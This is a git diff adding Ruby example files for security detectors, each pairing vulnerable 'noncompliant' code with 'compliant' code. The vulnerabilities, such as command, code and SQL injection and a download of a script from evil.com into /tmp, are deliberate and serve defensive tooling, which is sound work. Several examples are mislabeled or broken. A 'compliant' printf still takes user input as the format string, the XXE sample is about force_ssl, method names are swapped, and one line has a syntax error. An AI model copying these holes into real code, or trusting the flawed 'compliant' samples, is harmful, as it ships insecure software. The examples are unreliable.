diff --git a/src/ruby/detectors/code-injection/code-injection.rb b/src/ruby/detectors/code-injection/code-injection.rb new file mode 100644 index 0000000..fb4eb56 --- /dev/null +++ b/src/ruby/detectors/code-injection/code-injection.rb @@ -0,0 +1,20 @@ +=begin +Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. +SPDX-License-Identifier: Apache-2.0 +=end + +# {fact rule=code-injection@v1.0 defects=1} +def code_injection_noncompliant() + code = params[:code] + # Noncompliant: User input is not sanitized. + @result = User.send(code) +end +# {/fact} + +# {fact rule=code-injection@v1.0 defects=0} +def code_injection_compliant() + method = params[:method] == 1 ? :method_a : :method_b + # Compliant: User input is not passed in User.send(). + @result = User.send(method, *args) +end +# {/fact} diff --git a/src/ruby/detectors/cross-site-request-forgery/cross-site-request-forgery.rb b/src/ruby/detectors/cross-site-request-forgery/cross-site-request-forgery.rb new file mode 100644 index 0000000..0561635 --- /dev/null +++ b/src/ruby/detectors/cross-site-request-forgery/cross-site-request-forgery.rb @@ -0,0 +1,24 @@ +=begin + Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. + SPDX-License-Identifier: Apache-2.0 +=end + +# {fact rule=cross-site-request-forgery@v1.0 defects=1} +def cross_site_request_forgery_noncompliant + user = params[:user_id] + users_service_domain = params[:users_service_domain] + # Noncompliant: Complete URL is user-controlled. + response = Excon.post("#{users_service_domain}/logins", body: {user_id: user}).body + token = JSON.parse(response)["token"] +end +# {/fact} + +# {fact rule=cross-site-request-forgery@v1.0 defects=0} +def cross_site_request_forgery_compliant + user = params[:user_id] + users_service_path = params[:users_service_path] + # Compliant: Only suffix of the URL is controlled by user. + response = Excon.post("users-service/#{users_service_path}", body: {user_id: user}).body + token = JSON.parse(response)["token"] +end +# {/fact} diff --git a/src/ruby/detectors/cross-site-scripting/cross-site-scripting.rb b/src/ruby/detectors/cross-site-scripting/cross-site-scripting.rb new file mode 100644 index 0000000..14a50a1 --- /dev/null +++ b/src/ruby/detectors/cross-site-scripting/cross-site-scripting.rb @@ -0,0 +1,20 @@ +=begin + Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. + SPDX-License-Identifier: Apache-2.0 +=end + +# {fact rule=cross-site-scripting@v1.0 defects=1} +def crosssite_scripting_noncompliant + name = params[":name"] + # Noncompliant: The parameter is not escaped. + "

#{name}

".html_safe +end +# {/fact} + +# {fact rule=cross-site-scripting@v1.0 defects=0} +def crosssite_scripting_compliant + name = params[":name"] + # Compliant: Parameter is escaped. + "

#{ERB::Util.html_escape(name)}

".html_safe +end +# {/fact} diff --git a/src/ruby/detectors/divide_by_zero/divide_by_zero.rb b/src/ruby/detectors/divide_by_zero/divide_by_zero.rb new file mode 100644 index 0000000..659ad46 --- /dev/null +++ b/src/ruby/detectors/divide_by_zero/divide_by_zero.rb @@ -0,0 +1,20 @@ +# Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. +# SPDX-License-Identifier: Apache-2.0 + + +# {fact rule=divide-by-zero@v1.0 defects=1} +def divide_by_zero_noncompliant + zero = 0 + # Noncompliant: divide by zero + bad = variable/zero +end +# {/fact} + +# {fact rule=divide-by-zero@v1.0 defects=0} +def divide_by_zero_compliant + # Compliant: check before dividing + if zero != 0 + variable / zero + end +end +# {/fact} diff --git a/src/ruby/detectors/http-to-file-access/http-to-file-access.rb b/src/ruby/detectors/http-to-file-access/http-to-file-access.rb new file mode 100644 index 0000000..87fec57 --- /dev/null +++ b/src/ruby/detectors/http-to-file-access/http-to-file-access.rb @@ -0,0 +1,32 @@ +=begin +Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. +SPDX-License-Identifier: Apache-2.0 +=end + +require "net/http" + +class ExampleController < ActionController::Base + + # {fact rule=http-to-file-access@v1.0 defects=1} + def http_file_access_noncompliant + resp = Net::HTTP.new("evil.com").get("/script").body + file = File.open("/tmp/script", "w") + + # Noncompliant: Writing a file from http access. + file.write(resp) + end + # {/fact} + + + # {fact rule=http-to-file-access@v1.0 defects=0} + def http_file_access_compliant + a = "a" + file = File.open("/tmp/script", "w") + + # Compliant: Not using any http access to write in file. + file.write(a) + + end + # {/fact} + +end diff --git a/src/ruby/detectors/improper-certificate-validation/improper-certificate-validation.rb b/src/ruby/detectors/improper-certificate-validation/improper-certificate-validation.rb new file mode 100644 index 0000000..596a7a7 --- /dev/null +++ b/src/ruby/detectors/improper-certificate-validation/improper-certificate-validation.rb @@ -0,0 +1,26 @@ +=begin +Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. +SPDX-License-Identifier: Apache-2.0 +=end + +# {fact rule=improper-certificate-validation@v1.0 defects=1} +require "httparty" + +def certificate_validation_noncompliant + + # Noncompliant: SSL certificate validation is disabled. + HTTParty.get("http://example.com/", verify: false) + +end +# {/fact} + +# {fact rule=improper-certificate-validation@v1.0 defects=0} +require "httparty" + +def certificate_validation_compliant + + # Compliant: SSL certificate validation is enabled. + HTTParty.get("http://example.com/", verify: true) + +end +# {/fact} diff --git a/src/ruby/detectors/improper-input-validation/improper-input-validation-compliant.rb b/src/ruby/detectors/improper-input-validation/improper-input-validation-compliant.rb new file mode 100644 index 0000000..af141f4 --- /dev/null +++ b/src/ruby/detectors/improper-input-validation/improper-input-validation-compliant.rb @@ -0,0 +1,11 @@ +=begin + Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. + SPDX-License-Identifier: Apache-2.0 +=end + +# {fact rule=improper-input-validation@v1.0 defects=0} +class InputValidation + # Compliant: Properly bounded regex passed to validates. + validates_format_of :good_valid, :with => /\A[a-zA-Z]\z/ +end +# {/fact} diff --git a/src/ruby/detectors/improper-input-validation/improper-input-validation-noncompliant.rb b/src/ruby/detectors/improper-input-validation/improper-input-validation-noncompliant.rb new file mode 100644 index 0000000..38a5cfc --- /dev/null +++ b/src/ruby/detectors/improper-input-validation/improper-input-validation-noncompliant.rb @@ -0,0 +1,13 @@ +=begin + Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. + SPDX-License-Identifier: Apache-2.0 +=end + +# {fact rule=improper-input-validation@v1.0 defects=1} +class InputValidation + # Noncompliant: Improperly bounded regex passed to validates. + validates :username, :length => 6..20, :format => /([a-z][0-9])+/i + + accepts_nested_attributes_for :author, :pages +end +# {/fact} \ No newline at end of file diff --git a/src/ruby/detectors/insecure-cryptography/insecure-cryptography.rb b/src/ruby/detectors/insecure-cryptography/insecure-cryptography.rb new file mode 100644 index 0000000..d55259c --- /dev/null +++ b/src/ruby/detectors/insecure-cryptography/insecure-cryptography.rb @@ -0,0 +1,20 @@ +=begin +Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. +SPDX-License-Identifier: Apache-2.0 +=end + +# {fact rule=insecure-cryptography@v1.0 defects=1} +require 'openssl' + +def cryptography_noncompliant() + # Noncompliant: weak block mode + OpenSSL::Cipher::AES.new(128, :ecb) +end +# {/fact} + +# {fact rule=insecure-cryptography@v1.0 defects=0} +def cryptography_compliant() + # Compliant: strong encryption algorithm + OpenSSL::Cipher::AES.new(128, :gcm) +end +# {/fact} \ No newline at end of file diff --git a/src/ruby/detectors/insufficiently-protected-credentials/insufficiently-protected-credentials.rb b/src/ruby/detectors/insufficiently-protected-credentials/insufficiently-protected-credentials.rb new file mode 100644 index 0000000..c9ef808 --- /dev/null +++ b/src/ruby/detectors/insufficiently-protected-credentials/insufficiently-protected-credentials.rb @@ -0,0 +1,24 @@ +=begin + Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. + SPDX-License-Identifier: Apache-2.0 +=end + +# {fact rule=insufficiently-protected-credentials@v1.0 defects=1} +require 'jwt' + +def insufficiently_protected_credentials_noncompliant(hmac_secret) + # Noncompliant: JWT password is hardcoded in payload. + payload = { data: 'data', password: 12345 } + token = JWT.encode payload, hmac_secret, 'HS256' + puts token +end +# {/fact} + +# {fact rule=insufficiently-protected-credentials@v1.0 defects=0} +def insufficiently_protected_credentials_compliant(hmac_secret) + # Compliant: JWT password is not hardcoded. + payload = { data: 'data', nbf: nbf } + token = JWT.encode payload, hmac_secret, 'HS256' + puts token +end +# {/fact} diff --git a/src/ruby/detectors/log-injection/log-injection.rb b/src/ruby/detectors/log-injection/log-injection.rb new file mode 100644 index 0000000..f84c0f9 --- /dev/null +++ b/src/ruby/detectors/log-injection/log-injection.rb @@ -0,0 +1,40 @@ +=begin +Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. +SPDX-License-Identifier: Apache-2.0 +=end + +require 'logger' + +class UsersController < ApplicationController + include ERB::Util + + def init_logger + if @logger == nil + @logger = Logger.new STDOUT + end + end + +# {fact rule=log-injection@v1.0 defects=1} + def log_params_noncompliant + init_logger + + unsanitized = params[:foo] + # Noncompliant: Unsanitized user-input is used in logger + @logger.error "input: " + unsanitized + end +# {/fact} + + +# {fact rule=log-injection@v1.0 defects=0} + def log_params_compliant + init_logger + + unsanitized = params[:foo] + + sanitized = unsanitized.gsub("\n", "") + # Compliant: Sanitized user-input is used in logger + @logger.warn "input: " + sanitized + end +# {/fact} + +end \ No newline at end of file diff --git a/src/ruby/detectors/loose-file-permissions/loose-file-permissions.rb b/src/ruby/detectors/loose-file-permissions/loose-file-permissions.rb new file mode 100644 index 0000000..f6538eb --- /dev/null +++ b/src/ruby/detectors/loose-file-permissions/loose-file-permissions.rb @@ -0,0 +1,22 @@ +=begin + Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. + SPDX-License-Identifier: Apache-2.0 +=end + +# {fact rule=loose-file-permissions@v1.0 defects=1} +require "fileutils" + +def open_file_permission_noncompliant(filename) + + # Noncompliant: sets file world writable. + FileUtils.chmod 0222, filename +end +# {/fact} + +# {fact rule=loose-file-permissions@v1.0 defects=0} +def open_file_permission_compliant(filename) + + # Compliant: restricts group/world access. + FileUtils.chmod 0700, filename +end +# {/fact} \ No newline at end of file diff --git a/src/ruby/detectors/missing-pagination/missing-pagination.rb b/src/ruby/detectors/missing-pagination/missing-pagination.rb new file mode 100644 index 0000000..2acc755 --- /dev/null +++ b/src/ruby/detectors/missing-pagination/missing-pagination.rb @@ -0,0 +1,23 @@ +=begin +Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. +SPDX-License-Identifier: Apache-2.0 +=end + +# {fact rule=missing-pagination@v1.0 defects=1} +def missing_pagination_noncompliant + s3 = Aws::S3::Client.new + # Noncompliant: Missing pagination + response = s3.list_objects(bucket:'your-bucket-name') + puts response.contents.map(&:key) +end +# {/fact} + +# {fact rule=missing-pagination@v1.0 defects=0} +def missing_pagination_compliant + s3 = Aws::S3::Client.new + # Compliant: Pagination used correctly + s3.list_objects(bucket:'your-bucket-name').each do |response| + puts response.contents.map(&:key) + end +end +# {/fact} diff --git a/src/ruby/detectors/os-command-injection/os-command-injection-compliant.rb b/src/ruby/detectors/os-command-injection/os-command-injection-compliant.rb new file mode 100644 index 0000000..77bd398 --- /dev/null +++ b/src/ruby/detectors/os-command-injection/os-command-injection-compliant.rb @@ -0,0 +1,17 @@ +=begin +Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. +SPDX-License-Identifier: Apache-2.0 +=end + +# {fact rule=os-command-injection@v1.0 defects=0} +require "shellwords" + +class UsersController < ActionController::Base + def oscommand_injection_noncompliant + cmd = params[:cmd] + safe_cmd = Shellwords.escape(cmd) + # Compliant: User data has been escaped + system(safe_cmd) + end +end +# {/fact} diff --git a/src/ruby/detectors/os-command-injection/os-command-injection-noncompliant.rb b/src/ruby/detectors/os-command-injection/os-command-injection-noncompliant.rb new file mode 100644 index 0000000..f016465 --- /dev/null +++ b/src/ruby/detectors/os-command-injection/os-command-injection-noncompliant.rb @@ -0,0 +1,14 @@ +=begin +Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. +SPDX-License-Identifier: Apache-2.0 +=end + +# {fact rule=os-command-injection@v1.0 defects=1} +class UsersController < ActionController::Base + def oscommand_injection_compliant + cmd = params[:cmd] + # Noncompliant: User data used directly as a command without escaping + system(cmd) + end +end +# {/fact} \ No newline at end of file diff --git a/src/ruby/detectors/path-traversal/path-traversal.rb b/src/ruby/detectors/path-traversal/path-traversal.rb new file mode 100644 index 0000000..af48145 --- /dev/null +++ b/src/ruby/detectors/path-traversal/path-traversal.rb @@ -0,0 +1,20 @@ +=begin +Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. +SPDX-License-Identifier: Apache-2.0 +=end + +# {fact rule=path-traversal@v1.0 defects=1} +def render_modern_param_noncompliant + page = params[:page] + # Noncompliant: Unsanitized user-input is used in render file. + render file: "/some/path/#{page}" +end +# {/fact} + +# {fact rule=path-traversal@v1.0 defects=0} +def render_modern_param_compliant + page = params[:page] + # Compliant: User-input is sanitized before using it in render file. + render file: File.basename("/some/path/#{page}") +end +# {/fact} diff --git a/src/ruby/detectors/resource-leak/resource-leak.rb b/src/ruby/detectors/resource-leak/resource-leak.rb new file mode 100644 index 0000000..3c63784 --- /dev/null +++ b/src/ruby/detectors/resource-leak/resource-leak.rb @@ -0,0 +1,24 @@ +=begin +Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. +SPDX-License-Identifier: Apache-2.0 +=end + +# {fact rule=resource-leak@v1.0 defects=1} +def file_reading_noncompliant(filename) + # Noncompliant: File hasn't been closed + file = File.open(filename, 'r') + contents = file.read + puts contents +end +# {/fact} + +# {fact rule=resource-leak@v1.0 defects=0} +def file_reading_compliant(filename) + # Compliant: File has been closed after read + File.open(filename, 'r') do |file| + file.each_line do |line| + puts line + end + end +end +# {/fact} diff --git a/src/ruby/detectors/sensitive-http-action/sensitive-http-action-compliant.rb b/src/ruby/detectors/sensitive-http-action/sensitive-http-action-compliant.rb new file mode 100644 index 0000000..301a8c4 --- /dev/null +++ b/src/ruby/detectors/sensitive-http-action/sensitive-http-action-compliant.rb @@ -0,0 +1,17 @@ +=begin +Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. +SPDX-License-Identifier: Apache-2.0 +=end + +# {fact rule=sensitive-http-action@v1.0 defects=0} +class AccountsController < ApplicationController + def sensitive_http_get_compliant + # Compliant: GET request with 'elsif' which means exclusive blocks for other http methods + if request.get? + # Process request + elsif request.post? + # Process request + end + end +end +# {/fact} diff --git a/src/ruby/detectors/sensitive-http-action/sensitive-http-action-noncompliant.rb b/src/ruby/detectors/sensitive-http-action/sensitive-http-action-noncompliant.rb new file mode 100644 index 0000000..f25936a --- /dev/null +++ b/src/ruby/detectors/sensitive-http-action/sensitive-http-action-noncompliant.rb @@ -0,0 +1,17 @@ +=begin +Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. +SPDX-License-Identifier: Apache-2.0 +=end + +# {fact rule=sensitive-http-action@v1.0 defects=1} +class AccountsController < ApplicationController + def sensitive_http_get_noncompliant + # Noncompliant: GET request with a catch all 'else' block which might catch HEAD requests unknowingly + if request.get? + # Process request + else + # Process request + end + end +end +# {/fact} diff --git a/src/ruby/detectors/sensitive-information-leak/sensitive-information-leak.rb b/src/ruby/detectors/sensitive-information-leak/sensitive-information-leak.rb new file mode 100644 index 0000000..02736ac --- /dev/null +++ b/src/ruby/detectors/sensitive-information-leak/sensitive-information-leak.rb @@ -0,0 +1,28 @@ +=begin +Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. +SPDX-License-Identifier: Apache-2.0 +=end + +# {fact rule=sensitive-information-leak@v1.0 defects=1} +def sensitive_information_leak_noncompliant + # Noncompliant: User-controlled data is passed in find. + @user = User.find(params[:id]) + + respond_to do |format| + format.html + format.json { render :json => @user } + end +end +# {/fact} + +# {fact rule=sensitive-information-leak@v1.0 defects=0} +def sensitive_information_leak_compliant + # Compliant: Argument in find is not user-controlled. + @user = User.find(session[:id]) + + respond_to do |format| + format.html + format.json { render :json => @user } + end +end +# {/fact} diff --git a/src/ruby/detectors/server-side-request-forgery/server-side-request-forgery.rb b/src/ruby/detectors/server-side-request-forgery/server-side-request-forgery.rb new file mode 100644 index 0000000..1312ed4 --- /dev/null +++ b/src/ruby/detectors/server-side-request-forgery/server-side-request-forgery.rb @@ -0,0 +1,22 @@ +=begin +Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. +SPDX-License-Identifier: Apache-2.0 +=end + +# {fact rule=server-side-request-forgery@v1.0 defects=1} +require 'net/http' + +def server_side_request_forgery_noncompliant + url = params[:url] + # Noncompliant: url is passing through `HTTP.get()`. + Net::HTTP.get(url, "/index.html") +end +# {/fact} + +# {fact rule=server-side-request-forgery@v1.0 defects=0} +def server_side_request_forgery_compliant + url = params[:url] + # Compliant: url is not passing through `HTTP.get()`. + Net::HTTP.get("example.com", "/index.html") +end +# {/fact} diff --git a/src/ruby/detectors/sql-injection/sql-injection.rb b/src/ruby/detectors/sql-injection/sql-injection.rb new file mode 100644 index 0000000..2d88245 --- /dev/null +++ b/src/ruby/detectors/sql-injection/sql-injection.rb @@ -0,0 +1,28 @@ +=begin +Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. +SPDX-License-Identifier: Apache-2.0 +=end + +# {fact rule=sql-injection@v1.0 defects=1} +require 'pg' + +def sql_injection_noncompliant(event:, context:) + conn = PG::Connection.open(:dbname => 'test') + + # Noncompliant: User-controlled parameter is used in SQL Statement. + res2 = conn.exec_params('SELECT * FROM foobar WHERE id = %{id}' % {id: event['id']}) + +end +# {/fact} + +# {fact rule=sql-injection@v1.0 defects=0} +require 'pg' + +def sql_injection_compliant(event:, context:) + conn = PG::Connection.open(:dbname => 'test') + + # Compliant: Parameterized SQL Statement. + res = conn.exec_params('SELECT $1 AS a, $2 AS b, $3 AS c', [event['id'], 2, nil]) + +end +# {/fact} diff --git a/src/ruby/detectors/stack-trace-exposure/stack-trace-exposure.rb b/src/ruby/detectors/stack-trace-exposure/stack-trace-exposure.rb new file mode 100644 index 0000000..520324d --- /dev/null +++ b/src/ruby/detectors/stack-trace-exposure/stack-trace-exposure.rb @@ -0,0 +1,25 @@ +=begin +Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. +SPDX-License-Identifier: Apache-2.0 +=end + +class FooController < ApplicationController + + # {fact rule=stack-trace-exposure@v1.0 defects=1} + def exposure_of_stack_trace_noncompliant + # Process + rescue => e + # Noncompliant: Rendering the stack trace information + render body: e.backtrace, content_type: "text/plain" + end + # {/fact} + + # {fact rule=stack-trace-exposure@v1.0 defects=0} + def exposure_of_stack_trace_compliant + # Process + rescue => e + # Compliant: Rending a simple error message. + render body: "An error occurred", content_type: "text/plain" + end + # {/fact} +end diff --git a/src/ruby/detectors/tainted-format/tainted-format-compliant.rb b/src/ruby/detectors/tainted-format/tainted-format-compliant.rb new file mode 100644 index 0000000..b259877 --- /dev/null +++ b/src/ruby/detectors/tainted-format/tainted-format-compliant.rb @@ -0,0 +1,13 @@ +=begin + Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. + SPDX-License-Identifier: Apache-2.0 +=end + +# {fact rule=untrusted-format-strings@v1.0 defects=0} +class TaintedFormat < ActionController::Base + def sanitized_input + # Compliant: User-input is not used to format output. + printf(params[:format]) + end +end +# {/fact} diff --git a/src/ruby/detectors/tainted-format/tainted-format-noncompliant.rb b/src/ruby/detectors/tainted-format/tainted-format-noncompliant.rb new file mode 100644 index 0000000..4aa6e9e --- /dev/null +++ b/src/ruby/detectors/tainted-format/tainted-format-noncompliant.rb @@ -0,0 +1,13 @@ +=begin + Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. + SPDX-License-Identifier: Apache-2.0 +=end + +# {fact rule=untrusted-format-strings@v1.0 defects=1} +class TaintedFormat < ActionController::Base + def unsanitized_input + # Noncompliant: untrusted user input is being used directly in format sting. + printf(params[:format], arg) + end +end +# {/fact} \ No newline at end of file diff --git a/src/ruby/detectors/untrusted-deserialization/untrusted-deserialization.rb b/src/ruby/detectors/untrusted-deserialization/untrusted-deserialization.rb new file mode 100644 index 0000000..b0db1b5 --- /dev/null +++ b/src/ruby/detectors/untrusted-deserialization/untrusted-deserialization.rb @@ -0,0 +1,19 @@ +=begin +Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. +SPDX-License-Identifier: Apache-2.0 +=end + +# {fact rule=untrusted-deserialization@v1.0 defects=1} +def handler_noncompliant(event:, context:) + foobar = event['smth'] + # Noncompliant: tainted data passed inside `CSV.load()`. + obj3 = CSV.load("o:" + event['data']) +end +# {/fact} + +# {fact rule=untrusted-deserialization@v1.0 defects=0} +def handler_compliant(event:, context:) + # Compliant: no tainted data passed inside `CSV.load()`. + obj3 = CSV.load(get_safe_data()) +end +# {/fact} \ No newline at end of file diff --git a/src/ruby/detectors/untrusted-file-open/untrusted-file-open.rb b/src/ruby/detectors/untrusted-file-open/untrusted-file-open.rb new file mode 100644 index 0000000..9ed1190 --- /dev/null +++ b/src/ruby/detectors/untrusted-file-open/untrusted-file-open.rb @@ -0,0 +1,20 @@ +=begin +Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. +SPDX-License-Identifier: Apache-2.0 +=end + +# {fact rule=autoescape-disabled@v1.0 defects=0} +filename = "testfile" +# Compliant: File being opened is static. +open(filename) do |f| + print f.gets +end +# {/fact} + +# {fact rule=autoescape-disabled@v1.0 defects=1} + +# Noncompliant: User-input directly controls which file is opened. +cmd = open("|%s" % params[:file) +print cmd.gets +cmd.close +# {/fact} diff --git a/src/ruby/detectors/xml-external-entity/xml-external-entity.rb b/src/ruby/detectors/xml-external-entity/xml-external-entity.rb new file mode 100644 index 0000000..73469cc --- /dev/null +++ b/src/ruby/detectors/xml-external-entity/xml-external-entity.rb @@ -0,0 +1,18 @@ +=begin +Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. +SPDX-License-Identifier: Apache-2.0 +=end + +# {fact rule=xml-external-entity@v1.0 defects=1} +def xml_external_entity_noncompliant() + # Noncompliant: Disabling encryption of sensitive data + config.force_ssl = false +end +# {/fact} + +# {fact rule=xml-external-entity@v1.0 defects=0} +def xml_external_entity_compliant() + # Compliant: Sensitive data is encrypted + config.force_ssl = true +end +# {/fact}